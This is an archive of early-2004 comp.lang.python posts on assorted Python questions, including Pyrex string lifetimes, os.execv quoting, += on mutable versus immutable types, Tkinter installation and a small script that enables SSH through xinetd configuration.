From: steve at ferg.org (Stephen Ferg)
Date: 4 Feb 2004 09:09:07 -0800
Subject: javadoc for python
References: <401f0ace$1_1@newspeer2.tds.net>
Message-ID: <b16e4ef7.0402040909.4894742c@posting.google.com>

I too wish there was Javadoc-style documentation for Python.  In any
event, you might try this:

http://www.ferg.org/pyref/index.html


From usenet_spam at janc.invalid  Sun Feb 29 13:33:24 2004
From: usenet_spam at janc.invalid (JanC)
Date: Sun, 29 Feb 2004 18:33:24 GMT
Subject: AES in Python?
References: <7x7jy6em8d.fsf_-_@ruckus.brouhaha.com>
Message-ID: <Xns949EC6F10FBD9JanC@213.119.4.35>

Paul Rubin <http://phr.cx at NOSPAM.invalid> schreef:

> Some time ago I had a copy of an AES implementation written in pure
> Python by Bryan Olson.  I seem to have misplaced it.  Anyone have a
> copy they can post a url for (or post the code)?  Or if needed, leave
> me a note at <http://phr.cx>.  Thanks.

AES = Rijndael

An implementation in Python:
<http://bitconjurer.org/rijndael.py>

-- 
JanC

"Be strict when sending and tolerant when receiving."
RFC 1958 - Architectural Principles of the Internet - section 3.9


From maxm at mxm.dk  Thu Feb  5 05:54:10 2004
From: maxm at mxm.dk (Max M)
Date: Thu, 05 Feb 2004 11:54:10 +0100
Subject: Smarter way of doing this?
In-Reply-To: <402216c0$0$135$3a628fcd@reader1.nntp.hccnet.nl>
References: <401e4d57$0$295$edfadb0f@dread12.news.tele.dk>
	<cab22418.0402021554.95d2f3b@posting.google.com>
	<401f53ad$0$287$edfadb0f@dread12.news.tele.dk>
	<4020eb47$0$271$edfadb0f@dread12.news.tele.dk>
	<402216c0$0$135$3a628fcd@reader1.nntp.hccnet.nl>
Message-ID: <402220D2.7050909@mxm.dk>

Anton Vredegoor wrote:

> Max M <maxm at mxm.dk> wrote:
> 
> 
>>I solved it by using acumulated probabilities instead. So the final 
>>version is here, if anybody cares.
> 
> Yes it's fast, but I don't think it's smart :-) Unfortunately I
> haven't got a working solution as an alternative, but only some code
> that "explains" what I mean:
> 
> 
>     def choice_generator(population,probabilities):
>         PC = zip(probabilities,population)
>         while 1:
>             p,c = max([(p*random(),c) for p,c in PC])
>             yield c
> 
> This is short and fast. However, the distribution of the outcomes is
> wrong, because the list of probabilities should be "adjusted" so that
> in the end the *outcomes* are distributed according to the
> "probabilities". Or should that be proportions?


I don't understand what you mean. If I calculate the deviations from 
what is expected, and use a large result set, I get very small deviations.

I am interrested in getting a result as a propertion of the probablilty, 
or more correctly in this case, the frequency. If I want it as 
probabilities I just have to normalise the sim to 1.0.

This has the advantage that the frequencies can be expressed as integers 
too. This is nice in my Markov chain class that count words in text, etc.

In my example below each letter should be occur 50% of the times of the 
previous letter.

Perhaps you mean that it should behave differently?

regards Max M



###################

probabilities = [16, 8, 4, 2, 1]
elements = ['a', 'b', 'c', 'd', 'e']
sample_size = 1000000

s = Selector(probabilities, elements)
r = s.get_range(sample_size)
r.sort()

previous = float(sample_size)
for element in elements:
     count = r.count(element)
     deviation = (previous/2.0-count) / count * 100
     previous = count
     print element, count, deviation


 >> a 517046 -3.29680531326
 >> b 257439 0.421070622555
 >> c 129159 -0.340278261677
 >> d 64148 0.672663216312
 >> e 32208 -0.416045702931


From g2h5dqi002 at sneakemail.com  Wed Feb 11 19:58:38 2004
From: g2h5dqi002 at sneakemail.com (Greg Ewing (using news.cis.dfn.de))
Date: Thu, 12 Feb 2004 13:58:38 +1300
Subject: calling Pyrex results from C
In-Reply-To: <o3h2e1-24u.ln1@jowls.lairds.org>
References: <f7tvd1-a1o.ln1@jowls.lairds.org>
	<20040120172733.GA7666@titan.progiciels-bpi.ca>
	<20040120234855.GV22782@jowls>
	<mailman.560.1074644320.12720.python-list@python.org>
	<o3h2e1-24u.ln1@jowls.lairds.org>
Message-ID: <402ACFBE.7030805@sneakemail.com>

Kyler Laird wrote:
> 	cdef public char* string(x):
> 		s = str(x)
> 		return(s)

Whenever you allow Pyrex to coerce a Python string into a
char *, you need to be careful that the Python string will
remain alive for as long as the C pointer is needed.

In this case, str(x) is probably returning a string with
no other references, so it's deallocated as soon as the
function finishes, and a dangling pointer is then returned.

You'll need to make a copy of the string's contents
somehow, e.g.

   cdef extern from "string.h":
     char *strcpy(char *)

   cdef public char* string(x):
     s = str(x)
     return strcpy(s)

and remember to free() it when you're finished with
it.

(Warning: Don't try to write it as

     return strcpy(str(x)) # WRONG

or you'll have the same problem -- the string will
be deallocated before strcpy() gets a chance to
copy it!)

Some other comments:

* In the C code, it's better to declare pointers to
Python objects as PyObject * rather than void *, e.g.

   PyObject *im, *im_size;

since this will give you better type checking from the
C compiler.

* Your C code as written leaks Python objects, since it
never decrefs the objects returned by image_file_open
and image_size.It also doesn't do anything about checking
for and handling Python exceptions.

It's much better if you can do all creation and manipulation
of Python objects in Pyrex, since it takes care of
refcounting and error checking automatically (although
read the doc section on Error Return Values to make sure
exceptions are propagated from functions that don't
return Python objects).

You may want to put something in your main function to
catch exceptions and print a traceback, since that
won't happen automatically with no Python interpreter
at the top level.

-- 
Greg Ewing, Computer Science Dept,
University of Canterbury,	
Christchurch, New Zealand
http://www.cosc.canterbury.ac.nz/~greg



From foeclan at yahoo.com  Fri Feb  6 11:36:03 2004
From: foeclan at yahoo.com (Mike Vieths)
Date: Fri, 06 Feb 2004 10:36:03 -0600
Subject: execv putting quotes around arguments
Message-ID: <4023c273$0$41295$a1866201@newsreader.visi.com>

I'm running into a problem when I try to run commands with os.execv.  It 
seems to be putting quotation marks around each element of the list 
passed as its second argument.  This is fine for the most part, but if 
the argument has a space in it, getopt (in the command being called) 
will read the entire quoted string as the argument and generally fail.

Here's an example:

Python 2.2.2 (#1, Jan 30 2003, 21:26:22)
[GCC 2.96 20000731 (Red Hat Linux 7.3 2.96-112)] on linux2
Type "help", "copyright", "credits" or "license" for more information.
 >>> import os
 >>> arg0='/bin/ls'
 >>> arg1='-l foo'
 >>> args=[arg0]+[arg1]
 >>> os.execv(arg0, args)
/bin/ls: invalid option --
Try `/bin/ls --help' for more information.

This can be worked around by breaking '-l foo' into two seperate 
elements ('-l' and 'foo'), but that's not always intuitive.  Anyone know 
why those quotes are there, and if there's a way to make them go away? 
I'm stuck with execv, since this is part of a larger project for which 
I'm creating a module, and modifying that portion to use os.popen, 
os.system, or something similar isn't an option.

Mike Vieths



From __peter__ at web.de  Sat Feb 14 07:23:54 2004
From: __peter__ at web.de (Peter Otten)
Date: Sat, 14 Feb 2004 13:23:54 +0100
Subject: Namespace issues...
References: <d1253dfc.0402140259.3b614b95@posting.google.com>
Message-ID: <c0l40q$qp4$07$1@news.t-online.com>

cghost wrote:

> i am very confused...why does the following script modify the global list
> "l":
> 
> l=[]
> 
> def x():
>    l.append("xyz")
> 
> x()
> print l
> 
> but the same script applied to a single variable doesnt..:
> 
> l="moe"
> 
> def x():
>    l+="howdy"
> 
> x()
> print l

It's even worse:

>>> def add(a, b):
...     a += b
...

Now consider

>>> lst = []
>>> add(lst, ["alpha"])
>>> lst
['alpha']
>>> add(lst, ["beta", "gamma"])
>>> lst
['alpha', 'beta', 'gamma']

where add(a, b) appends b to a versus 

>>> tpl = ()
>>> add( tpl, ("alpha",))
>>> tpl
()

where no apparent change takes place. The difference is that list is a 
mutable type i. e. its instances can be changed anytime, whereas tuples are
immutable, i. e. they cannot be changed once they are created. For lists a
+= b is implemented to append the items in b to a. The binding of a is not
changed in the process. For immutable types this is not an option - they
cannot be altered. Therefore, for tuples a += b is implemented as a = a +
b, i. e. a new tuple containing the elements of both a and b is created and
the variable a is bound to the new tuple. In the example the binding takes
place inside a function, so you never see the new tuple unless you return
it or declare the variable as global as Vincent already pointed out.
Strings are immutable too, so

>>> s = "abc"
>>> add(s, "def")
>>> s
'abc'

as expected (hopefully).

Peter


From kent at cpttm.org.mo  Mon Feb 16 05:26:44 2004
From: kent at cpttm.org.mo (Kent Tong)
Date: 16 Feb 2004 02:26:44 -0800
Subject: Installation problem on Windows 98
Message-ID: <c93e5fda.0402160226.6889923b@posting.google.com>

Hi all,

I've installed Python 2.3 using the Windows installer
downloaded from www.python.org. I'm using Win98. The
installation process went well without any problem.
However, double-clicking the "IDLE (Python GUI)" does
nothing. The cursor changes to a hour-glass for about
1 second and then nothing happens. The "Python (command 
line)" works.

Any help? Thanks!


From mcfletch at rogers.com  Wed Feb 25 15:55:04 2004
From: mcfletch at rogers.com (Mike C. Fletcher)
Date: Wed, 25 Feb 2004 15:55:04 -0500
Subject: Thoughts about Python
In-Reply-To: <Sy6%b.120730$jk2.517845@attbi_s53>
References: <15c2d03b.0402240311.395f5382@posting.google.com>	<Xns9499854B482AEduncanrcpcouk@127.0.0.1>	<15c2d03b.0402241237.708cb4e8@posting.google.com>	<qnk4qtgt7j9.fsf@arbutus.physics.mcmaster.ca><15c2d03b.0402250123.151f06db@posting.google.com>	<mailman.92.1077704474.8594.python-list@python.org>
	<Sy6%b.120730$jk2.517845@attbi_s53>
Message-ID: <403D0BA8.4070109@rogers.com>

Rainer Deyke wrote:

>Mike C. Fletcher wrote:
>  
>
>>Actually, this is the classic problem of data-escaping.  It's
>>*possible* to guarantee unique values when encoding as a string, but
>>it's a *lot* harder than just doing str( data ).
>>    
>>
>
>In Python it's one extra line of code.
>
>from pickle import dumps
>dumps(data)
>  
>
Sure, even used that to create the examples :) , but it instantiates and 
invokes a huge class (~500 lines of Python code) built using multiple 
other dictionaries, each of which would need to be serviced themselves 
without getting into weird recursion problems.  Pickling machinery is 
*really heavy* (i.e. a lot harder for the computer to do, and a lot more 
hairy to program) than a few structure lookups to find functions 
computing hashes and/or equalities and the inclusion of a static 
sequence type.

Peace and lava lamps,
Mike

_______________________________________
  Mike C. Fletcher
  Designer, VR Plumber, Coder
  http://members.rogers.com/mcfletch/





From bart_nessux at hotmail.com  Mon Feb 23 20:22:25 2004
From: bart_nessux at hotmail.com (Bart Nessux)
Date: Mon, 23 Feb 2004 20:22:25 -0500
Subject: whitespace within a string
Message-ID: <c1e8st$7bn$1@solaris.cc.vt.edu>

Is there a function/module that can be used to throw out extra whitespace
that appears within a string? The problem that I have is this: Before any
configuration is done to my files, they have lines with tabs in between the
words like this:

"disable        =       yes"

After configuring the files using the operating system's administration
tools, the OS rewrites the files to contain spaces instead of tabs. So now,
the file looks like this:

"disable = yes"

I would like my script to work in either situation. Right now, it only works
with spaces, not tabs. Below is the script:

def enable_ssh():
   # works on 10.3 systems, not 10.2 systems
   import os
   os.chdir('/etc/xinetd.d')
   find = 'disable = yes'
   replace = 'disable = no'
   x = file('ssh')
   data = x.read()
   x.close()
   search = str.find(data, find)
   if search >= 0:
      data = data.replace(find, replace)
      outputFile = file('ssh', 'w')
      outputFile.write(data)
      outputFile.close()
      print
      print "SSH was disabled... service restarted!!!"
      print
   else:
      print
      print "SSH was enabled... no action taken."
      print
enable_ssh()


From gerrit at nl.linux.org  Wed Feb  4 13:13:57 2004
From: gerrit at nl.linux.org (Gerrit)
Date: Wed, 4 Feb 2004 19:13:57 +0100
Subject: an ingrate newbie complains
In-Reply-To: <A128D751272CD411BC9200508BC2194D033835A0@escpl.tcp.com.ar>
References: <A128D751272CD411BC9200508BC2194D033835A0@escpl.tcp.com.ar>
Message-ID: <20040204181357.GA5734@nl.linux.org>

Batista, Facundo wrote:
> Elaine Jackson wrote:
> 
> #- 1) I find the following behavior puzzling and disappointing:
> #- 
> #- >>> X=[(1,1),(2,4),(3,9),(4,16),(5,25)]
> #- >>> Y=dict(X)
> #- >>> Z=list(Y)
> #- >>> Z==X
> #- False
> #- >>> Z==Y.keys()
> #- True
> 
> >>> Y
> {1: 1, 2: 4, 3: 9, 4: 16, 5: 25}
> >>> Z
> [1, 2, 3, 4, 5]
> 
> I should expect that Z is not equal to Y.

Well, the complain here is dat list(D) == D.keys(), not D.values().
I share that complain.

>>> D
{0: 'foo', 1: 'foo', 2: 'foo', 3: 'foo', 4: 'foo'}
>>> list(D)
[0, 1, 2, 3, 4]

Gerrit.

-- 
PrePEP: Builtin path type
    http://people.nl.linux.org/~gerrit/creaties/path/pep-xxxx.html
Asperger's Syndrome - a personal approach:
	http://people.nl.linux.org/~gerrit/english/



From richard at logixlab.com  Tue Feb 10 23:00:52 2004
From: richard at logixlab.com (Richard Kessler)
Date: Wed, 11 Feb 2004 04:00:52 GMT
Subject: cPickle and BOA Constructor hanging!
Message-ID: <UNhWb.19401$F23.5645@newsread2.news.pas.earthlink.net>

I am attempting a GUI using BOA Constructor. I have some simple code to
pickle an object, but for some reason when I use cPickle it hangs the
system, but pickle works just fine. I do not have a clue why cPickle will
not work.

The code is

    myObj = MyObject()
    myObj.SetSomeProperties
    f = open("my file name",'w')
    cPickle.dump(myObj,f)

on the cPickle line, all things end, it just goes into the twilight
zone...no errors reported to help diagnose. If I replace cPickle with
pickle, I am OK.

Many thanks in advance if anyone can help me understand the problem.

Richard Kessler




From newsgroups at jhrothjr.com  Tue Feb  3 06:26:08 2004
From: newsgroups at jhrothjr.com (John Roth)
Date: Tue, 3 Feb 2004 06:26:08 -0500
Subject: unittest and private methods
References: <88caaeda.0402022158.3a7923ac@posting.google.com>
Message-ID: <101v1cv4kb6tge6@news.supernews.com>

"Yin" <yin_12180 at yahoo.com> wrote in message
news:88caaeda.0402022158.3a7923ac at posting.google.com...
> I am an avid user of unittest and write tests for everything. Every so
> often, I write a class that has some private methods that I only want
> to be called from within the class. I usually write unittests for
> these private methods using the mangled form of the call from a test
> script file. It's not very elegant, and I wanted to get some feedback
> on how others write unit tests for private methods.
>
> I suppose that I could just not use private methods, and have them all
> be public, but it's a lot cleaner for me to hide all the other
> extraneous methods rather than expose them to the public.

Technically, the __ syntax that does name mangling is supposed
to be for private methods, and the _ syntax is supposed to be for
protected methods and attributes. However, I find that the
distinction is not worth all that much, and use the single underscore
for both. Possibly that's because I don't use subclassing all that
much anyway so I don't find 'protected' to be a useful distinction.

John Roth
>
> Thanks,
> Yin




From donn at drizzle.com  Sun Feb 29 00:21:57 2004
From: donn at drizzle.com (Donn Cave)
Date: Sun, 29 Feb 2004 05:21:57 -0000
Subject: [Tutor] Re: Reading text lines from a socket
References: <sqj7h1-efj.ln1@pluto.home> <40412589.40704@venix.com>
	<mailman.256.1078018152.8594.python-list@python.org>
	<2004022821115516807%bob@redivicom>
Message-ID: <1078032115.135462@yasure>

Quoth Bob Ippolito <bob at redivi.com>:
| The real solution is just to use a layer of abstraction, like 
| asyncore/medusa, Twisted, etc.  Relying on the fact that your operating 
| system may or may not allow a socket to act sort of like a file is 
| really not something you should do, from Python or otherwise.
|
| socket.makefile is platform specific, at best.

Is it?  Do you know of a platform where it doesn't work?  I won't
laugh -- I use Python on BeOS.  But there, where in fact sockets
can't be treated as files, makefile() works anyway because it makes
a Python class instance that's like a file object, but uses recv()
and send() instead of the read(2) and write(2) system calls that the
file object uses via stdio.

I don't use it myself, but because I just don't like the way stdio
buffering works with devices like pipes and sockets.  Haven't noticed
a platform portability problem.

	Donn Cave, donn at drizzle.com


From jcarlson at nospam.uci.edu  Thu Feb  5 22:53:12 2004
From: jcarlson at nospam.uci.edu (Josiah Carlson)
Date: Thu, 05 Feb 2004 19:53:12 -0800
Subject: where does Python stand?
In-Reply-To: <d99e1341.0402051930.57985621@posting.google.com>
References: <d99e1341.0402050505.226a01c8@posting.google.com>
	<6ee58e07.0402051148.25add90e@posting.google.com>
	<d99e1341.0402051930.57985621@posting.google.com>
Message-ID: <bvv37j$8or$1@news.service.uci.edu>

> I'm kind of lost... There are too many of these acronyms in the
> market.. Need some directions..

Option 1:
Purchase a mac.
Get a .mac account.
Use iPhoto.

Option 2:
Purchase some books at your local bookstore that explain what each of 
these technologies do.


If the acronyms are over your head, then learning the a language to 
write the scripts is likely not going to be possible.  Prove me wrong. 
I'd be glad if you were to do option 2 and produce something worthwhile.

  - Josiah




From jcarlson at nospam.uci.edu  Fri Feb 13 18:21:56 2004
From: jcarlson at nospam.uci.edu (Josiah Carlson)
Date: Fri, 13 Feb 2004 15:21:56 -0800
Subject: 6 Qustions about Python: Does it do GUI?  more...
In-Reply-To: <mailman.15.1076686702.31398.python-list@python.org>
References: <c0in25+ftaj@eGroups.com>
	<mailman.15.1076686702.31398.python-list@python.org>
Message-ID: <c0jmb7$cjp$1@news.service.uci.edu>

> 1) I really like C/C++ but I hate dealing with memory allocation, python
> handles all memory allocation automatically.  Included with Python are many
> built in data structures, such as list (like a linked list).

Internally, it is actually a resizable array.  Saves on pointers.

  - Josiah


From akniekko at yahoo.com  Tue Feb  3 23:03:38 2004
From: akniekko at yahoo.com (niekko)
Date: Tue, 3 Feb 2004 19:03:38 -0900
Subject: newbie with a gui question
References: <1020nse8569lr70@corp.supernews.com>
	<slrnc20pe9.5dk.bignose-hates-spam@iris.polar.local>
	<1020q1dq34lt260@corp.supernews.com>
	<bvpqje$82s$2@news.service.uci.edu>
Message-ID: <1020rovdi2lve6f@corp.supernews.com>

I'll check it out...thank all!!


"Josiah Carlson" <jcarlson at nospam.uci.edu> wrote in message
news:bvpqje$82s$2 at news.service.uci.edu...
> > That's just it, the course material is "go out and find
> > it on the 'net."  I've got several books on Python and none of them help
> > will building this gui.
> >
> > Can someone get me started, at least??
>
> 1. Go to www.wxpython.org
> 2. Download wxPython
> 3. Follow the examples given here:
>
http://wiki.wxpython.org/index.cgi/Getting_20Started#head-bc009992ceb90dddb7eb3db953e25d1792da2cdd
> 4. When you get stuck, read the included documentation (wx.chm) and
> check out the included wxPython demo (both are included with the base
> distribution).
>
>   - Josiah




From paul at prescod.net  Sat Feb 28 11:44:14 2004
From: paul at prescod.net (Paul Prescod)
Date: Sat, 28 Feb 2004 08:44:14 -0800
Subject: Functional languages vs. hybrids (was Re: How does Ruby compare
	to Python?? How good is DESIGN ofRubycompared to Python?)
In-Reply-To: <slrnc3sp7b.mcf.joe@gate.notcharles.ca>
References: <bf23f78f.0402241443.678bf6c8@posting.google.com>
	<c1h1sb$1it26i$1@ID-169208.news.uni-berlin.de>
	<slrnc3ob0q.i6n.joe@gate.notcharles.ca>
	<mailman.100.1077717447.8594.python-list@python.org>
	<slrnc3q0j8.jm5.joe@gate.notcharles.ca>
	<t5fq30l29nidjh1tsksm8jlld03ff3av5o@4ax.com>
	<slrnc3qm17.kc4.joe@gate.notcharles.ca>
	<mailman.145.1077775035.8594.python-list@python.org>
	<slrnc3sp7b.mcf.joe@gate.notcharles.ca>
Message-ID: <4040C55E.9080700@prescod.net>

Joe Mason wrote:

>...
 > Down in the depths of the compiler, the simplest way to
 > implement (C-style) functions is just to total up all the
 > parameters and local space it will need and lay out a
 > stack frame.

We're talking about Python and the Python compiler generates Python 
bytecodes, not machine code!

> ...hybrid languages like Python and Ruby and Java and C#, then.  It's
> the combination of first-order functions *and* side effects that kills
> you.  (I don't know enough Java/C# to know if they have nested functions
> and "function pointers" or equivalent - it actually wouldn't surprise me
> if Java doesn't.)

Python function calling was never even remotely close to machine 
function calls for a variety of reasons (primarily the fact that we're 
talking about an interpreter rather than a compiler).

You may well be right that Python _would_ pay a cost for nested 
functions if its function model was not already substantially more 
complicated, sophisticated and expensive than C's. But there are all 
sorts of reasons that Python function calls are slow and I frankly think 
that nested scopes are the least of them:

  * Python functions use a stack that is different than the C stack 
(that's why stackless is even possible)

  * Python functions have complicated calling conventions (varargs, 
optional args, keyword args)

  * Python functions are called through a protocol that supports other 
types of "callables"

  * Python integers etc. must be unboxed after the function call to do 
anything useful with them

All of these performance-sucking features were in Python long before 
nested functions.

  Paul Prescod





From merkosh at hadiko.de  Thu Feb  5 12:36:27 2004
From: merkosh at hadiko.de (Uwe Mayer)
Date: Thu, 05 Feb 2004 18:36:27 +0100
Subject: convert utf-8 to latin-1?
Message-ID: <bvtuur$hg$1@news.rz.uni-karlsruhe.de>

Hi,

in a PyQt application I'm writing, the user can select a filename with a
FileDialog. Then I would like to open this file. This works fine if there
are no "special symbols" in the filename, such as the german umlauts: "???"

Currently I convert the returned, of what I'm pretty sure its a utf-8 string
object, to a normal string using the str() function. But then my string
contains garbage and I cannot find that file on my ext3 fs (which uses
latin-1).

So my first question is wether you *can* convert it without loosing
something and secondly: how?

Thanks for any pointers - 
Ciao
Uwe


From crescent_au at yahoo.com  Fri Feb  6 17:39:12 2004
From: crescent_au at yahoo.com (Ben)
Date: 6 Feb 2004 14:39:12 -0800
Subject: where does Python stand?
References: <d99e1341.0402050505.226a01c8@posting.google.com>
	<6ee58e07.0402051148.25add90e@posting.google.com>
	<d99e1341.0402051930.57985621@posting.google.com>
	<bvv37j$8or$1@news.service.uci.edu>
Message-ID: <d99e1341.0402061439.1f8cebc9@posting.google.com>

Josiah Carlson <jcarlson at nospam.uci.edu> wrote in message news:<bvv37j$8or$1 at news.service.uci.edu>...
> > I'm kind of lost... There are too many of these acronyms in the
> > market.. Need some directions..
> 
> Option 1:
> Purchase a mac.
> Get a .mac account.
> Use iPhoto.
> 

No way!! I don't even consider this as an option. I was asking about
"technologies" and "writing scripts", NOT about purchasing a machine!

> Option 2:
> Purchase some books at your local bookstore that explain what each of 
> these technologies do.
> 

This is very possible.. but I can't afford to buy "some" books, that's
why I'm using this post and google ;)

Ben


From zunbeltz at wm.lc.ehu.es.XXX  Thu Feb  5 09:21:17 2004
From: zunbeltz at wm.lc.ehu.es.XXX (Zunbeltz Izaola)
Date: 05 Feb 2004 15:21:17 +0100
Subject: global variables in module
References: <cthvfmnb1eb.fsf@lcpxdf.wm.lc.ehu.es>
	<Xns9485AA251A839cpl19ghumspamgourmet@62.153.159.134>
Message-ID: <cthr7x9bo9u.fsf@lcpxdf.wm.lc.ehu.es>

Harald Massa <cpl.19.ghum at spamgourmet.com> writes:

> Zunbeltz,
> 
> > MyApp(wxApp):
> > How can i use cf in other modules of the program. Did I need declare cf
> > global, or make it a module variable, ... Any hint, please
> 
> is used the following approach:
> 
> 1) defining one module named
> 

I've take another aproach. I've created a module where I define a class
derived from ConfigParse. I've take the idea from the source of idle.

> ReportGlobals
> 
> loggedInUser="nasenbaer"
> workerQueue=Queue.Queue()
> 
> there all varibles which are "konfiguration related" are defined, also 
> "programm global queues", "error loggers", "database connection pool"
> 
> All these variables are defined as module level variables
> (on "indent 0" :))) )
> 
> 2) in all modules of the programm I use
> 
> import ReportGlobals as gl
> 
> print "You are %s" % (gl.loggedInUser,)
> 
> 
> HTH
> 
> Harald
> 
> 
Thanks for your answer

Regards,

Zunbeltz

> 
> and access the


From skatepunk319 at hotmail.com  Sun Feb 15 03:30:03 2004
From: skatepunk319 at hotmail.com (Spencer)
Date: 15 Feb 2004 00:30:03 -0800
Subject: How to make forums
References: <cb4342b6.0402141203.7afb55b3@posting.google.com>
	<402ed6f8$0$14898$afc38c87@news.optusnet.com.au>
Message-ID: <cb4342b6.0402150030.2f9833ee@posting.google.com>

Sam <stardif10 at hotmail.com> wrote in message
> The cgi module will be of use to you:
> 
> http://www.python.org/doc/current/lib/module-cgi.html
> 
> On a related topic, how would one implement something equivalent to PHP 
> 'sessions' using Python to keep track of logged on users etc?

Thank you. I will read about that module. I wrote the PHP script a
while ago. I think it's been about a year now. I've been using Python
for a shorter amount of time. I will make a Python login script. I'll
do all of this later today (it's 3:24 AM right now, I am very tired.)

Oh yeah, before any of you make a comment like "just use already made
code" or "use Zope", don't. That's not the purpose of this project. I
want to use my brain, my Python skills, the resources I have,
creativity, etc., to make a forum. I want to learn how to solve things
myself, and to explore the unknown.

Anymore suggestions will be greatly appreciated! Thanks for the ones
already made.


From jzgoda at gazeta.usun.pl  Fri Feb 13 17:50:47 2004
From: jzgoda at gazeta.usun.pl (Jarek Zgoda)
Date: Fri, 13 Feb 2004 22:50:47 +0000 (UTC)
Subject: package similar to XML::Simple
References: <mailman.1428.1076438817.12720.python-list@python.org>
	<402931E4.C1E50E92@engcorp.com> <c0beqb$2uv$00$1@news.t-online.com>
	<40294322.7AF2C6D7@engcorp.com> <c0bh63$jp2$05$1@news.t-online.com>
	<40294D36.B0AEE3C4@engcorp.com> <c0do15$tge$02$1@news.t-online.com>
	<402A69C2.FC8DABA@engcorp.com>
	<mailman.6.1076585559.698.python-list@python.org>
	<c0jf75$or2$2@atlantis.news.tpi.pl> <402D4FF7.944423B7@engcorp.com>
Message-ID: <c0jkc4$eds$1@atlantis.news.tpi.pl>

Peter Hansen <peter at engcorp.com> pisze:

>> > Classifying a lack of Unicode support in an XML parser as a
>> > 'bug' is ridiculous.
>> 
>> Lack of Unicode support in an XML parser makes it unusable for most part
>> of humanity. It's much worse than bug, it's a mistake.
> 
> Most of humanity doesn't use XML, so that's silly.

Most of humanity doesn't use ASCII.

-- 
Jarek Zgoda
http://jpa.berlios.de/


From elainejackson7355 at home.com  Fri Feb 13 17:47:19 2004
From: elainejackson7355 at home.com (Elaine Jackson)
Date: Fri, 13 Feb 2004 22:47:19 GMT
Subject: beeline through tkinter
References: <qj6Xb.476569$JQ1.239547@pd7tw1no>
	<f70e3538.0402131412.6103d116@posting.google.com>
Message-ID: <XtcXb.493232$ts4.254427@pd7tw3no>


"Lonnie Princehouse" <fnord at u.washington.edu> wrote in message
news:f70e3538.0402131412.6103d116 at posting.google.com...

| This isn't quite an answer to your question, but I've got exactly such
| a Tkinter chessboard.  It's only half-finished (I have a short
| attention span for projects!), but it might give you some ideas:
|
| http://magicpeacefarm.com/lonnie/chessboard.tar.gz

This won't unzip for me. I get a message that says "Error reading header after
processing 0 entries".




From dietrich at zdome.net  Sun Feb  1 16:26:12 2004
From: dietrich at zdome.net (Dietrich Epp)
Date: Sun, 1 Feb 2004 13:26:12 -0800
Subject: advice on programming style: is multiple inheritance bad?
In-Reply-To: <bvjhkv$ss4$1@news.rz.uni-karlsruhe.de>
References: <bvjhkv$ss4$1@news.rz.uni-karlsruhe.de>
Message-ID: <429D3C48-54FD-11D8-8CFC-0003934ACDEC@zdome.net>

Since you asked for advice on programming style <grin>...

The argument for single inheritance is that objects should only have 
one "is a" relationship.  Penguin "is a" bird.  For multiple 
inheritance, Penguin "is a" swimmer also.  However, to keep everything 
clear, I would try to make sure each object has only one "is a" 
inheritance, and all the other inheritances are "does", e.g., Penguin 
"is a" bird, "does" fly.  If an object really does have two "is a" 
relationships, try to use two objects.  For example:

class AirlineReservation(Person, SeatOnAirplane):
     pass

This is kinda dumb and obvious, but it shows how multiple "is a" 
relationships can be total nonsense.  There are probably times when 
multiple "is a" relationships make sense, but most of the time it's 
just bad program design.  It looks like your SuperA is a "does" 
class... personally, I would name the types of classes differently, but 
that's up to you.

class Bird:
     def WhoAmI(self):
         return "bird"

# or DoesSwim, CanSwim, whatever... I'd pick one keep it consistent
class Swimming:
	def Swim(self):
		print "A %s goes SPLASH!" % self.WhoAmI()

class Penguin(Bird, Swimming):
	def WhoAmI(self):
		return "penguin"

I think pure single inheritance without mixins is bad language design.  
  Arguments against multiple inheritance usually involve overlapping 
superclasses, and every time I have seen it it *has* been bad design... 
but does anyone have overlapping superclasses that they can't separate? 
  I'm curious.

On Feb 1, 2004, at 10:48 AM, Uwe Mayer wrote:

> I got a class A2 that needs to inherit from class A1.
> A2, as well as some other classes implement a same functionality and in
> order to prevent code duplication I'd like to factorize that 
> (potentially)
> duplicate code into a class SuperA from which then A2 and all other 
> classes
> could inherrit.
> However, this would cause A2 to have two super classes A1 and SuperA - 
> which
> is possible of course in Python.
>
> My question is: is that bad programming style?
>> From C++ and Java we "learn" that you shouldn't do that.
>
> Class A is automatically generated from other tools, so I can't solve 
> the
> problem by just letting A1 inherit from SuperA.
>
> Your opinions?





From jcarlson at nospam.uci.edu  Tue Feb 10 18:03:42 2004
From: jcarlson at nospam.uci.edu (Josiah Carlson)
Date: Tue, 10 Feb 2004 15:03:42 -0800
Subject: help! multi-threading problem on hyperthreading smp linux server
In-Reply-To: <2mcWb.9183$Lp.1693@twister.nyc.rr.com>
References: <402901C2.00000B.04040@PIGPEN>
	<2004021012361076434601@k2.sage.att.com>
	<2mcWb.9183$Lp.1693@twister.nyc.rr.com>
Message-ID: <c0bo4u$r9u$1@news.service.uci.edu>

> GIL = Global interpreter lock. It shold cause trouble on SMP. As someone 
> recently mentioned, Jython does not have it, so you have options.

Are you sure it is the GIL?  I run quite a few threaded applications on 
my SMP machine, and have had no isses with the GIL killing it...well, 
except for that one wxPython thing.  Maybe the GIL is the cause.

  - Josiah


From bubbarichau at warmmail.com  Wed Feb 25 14:58:47 2004
From: bubbarichau at warmmail.com (rich hammett)
Date: Wed, 25 Feb 2004 19:58:47 -0000
Subject: Tkinter on RedHat Linux 9.0
References: <b9jnb5$1mt8$1@reader.nmix.net>
	<pan.2003.05.13.22.38.11.699116@goodweb.de>
Message-ID: <103pvjni4vc587e@corp.supernews.com>

Sen j?lkeen, kun Perry Mason oli pahoinpidellyt
h?nt?, Thomas Korb yll?tti tuomarin todistamalla:
> On Sat, 10 May 2003 14:34:05 -0600, Don Donigan wrote:
>>
>> Can anyone tell me how to install Tkinter on RedHat Linux 9.0?
>> I have not need successfull as of yet. Thanks in advance.
>>

> You have to install the following 4 RPM packages:

> 	1. python   2. tcl   3. tk   4. tkinter

Is there any way to update the python.org webpage for
Tkinter?  It currently says you never need to download
tkinter separately, which has had me chasing my tail
here for a few days.

rich

> Use 'rpm -qi <packagename>' to see, which packages are already
> installed on your system (e.g.: rpm -qi tkinter).

> To install a package, use 'rpm -ihv <packagefile>'. This command
> will i.p. tell you, if other packages must be installed first 
> (e.g. 'itcl' or 'tix' might be necessary).

> You will find the RPM 'packagefiles' on your Red Hat 9 CDs, but
> it is often easier (and faster) to download them directly from the
> Red Hat Network (http://rhn.redhat.com) or from any other good RPM
> archive.


-- 
-to reply, it's hot not warm
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
\  Rich Hammett       http://home.hiwaay.net/~rhammett
